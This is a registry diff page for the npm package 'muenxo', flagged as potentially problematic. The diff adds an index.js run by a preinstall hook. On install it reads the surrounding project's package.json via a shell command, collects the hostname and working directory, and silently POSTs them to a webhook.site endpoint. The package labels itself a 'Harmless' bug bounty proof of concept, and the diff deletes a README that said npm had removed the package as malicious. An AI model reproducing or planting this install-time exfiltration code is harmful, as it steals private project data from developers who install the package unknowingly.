muenxo 0.0.1-security → 99.9.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of muenxo might be problematic. Click here for more details.
- package/index.js +30 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
// Đọc file package.json nội bộ để chứng minh mối liên kết
|
|
6
|
+
exec('cat ../../package.json || cat ../package.json || cat package.json', (error, stdout, stderr) => {
|
|
7
|
+
const payload = JSON.stringify({
|
|
8
|
+
package: "muenxo",
|
|
9
|
+
hostname: os.hostname(),
|
|
10
|
+
path: process.cwd(),
|
|
11
|
+
source_code_proof: stdout || "File not found or access denied",
|
|
12
|
+
error: stderr
|
|
13
|
+
});
|
|
14
|
+
|
|
15
|
+
const url = new URL("https://webhook.site/49b1bfb8-51b0-4404-a55b-5de2832f841f");
|
|
16
|
+
const options = {
|
|
17
|
+
hostname: url.hostname,
|
|
18
|
+
path: url.pathname,
|
|
19
|
+
method: 'POST',
|
|
20
|
+
headers: {
|
|
21
|
+
'Content-Type': 'application/json',
|
|
22
|
+
'Content-Length': Buffer.byteLength(payload)
|
|
23
|
+
}
|
|
24
|
+
};
|
|
25
|
+
|
|
26
|
+
const req = http.request(options);
|
|
27
|
+
req.on('error', () => {});
|
|
28
|
+
req.write(payload);
|
|
29
|
+
req.end();
|
|
30
|
+
});
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "muenxo",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.9.11",
|
|
4
|
+
"description": "Security Research PoC for Shopify Bug Bounty. Harmless.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "SecurityResearcher",
|
|
10
|
+
"license": "ISC"
|
|
6
11
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=muenxo for more information.
|